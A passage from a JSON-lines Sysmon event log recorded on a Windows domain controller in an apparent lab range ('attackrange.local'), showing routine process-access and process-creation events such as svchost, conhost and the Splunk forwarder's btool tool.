ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3303,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3304,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00109B1D0500}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00109B1D0500}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3305,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nProcessGuid: {90617006-407B-5F2D-0000-0010571E0500}\r\nProcessId: 4292\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407B-5F2D-0000-00109B1D0500}\r\nParentProcessId: 3544\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","ProcessGuid":"{90617006-407B-5F2D-0000-0010571E0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407B-5F2D-0000-00109B1D0500}","ParentProcessId":"3544","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3306,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-00109B1D0500}\r\nSourceProcessId: 3544\r\nSourceThreadId: 3548\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010571E0500}\r\nTargetProcessId: 4292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-407B-5F2D-0000-00109B1D0500}","SourceProcessId":"3544","SourceThreadId":"3548","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010571E0500}","TargetProcessId":"4292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3307,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010571E0500}\r\nTargetProcessId: 4292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010571E0500}","TargetProcessId":"4292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3308,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3309,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3310,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3311,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\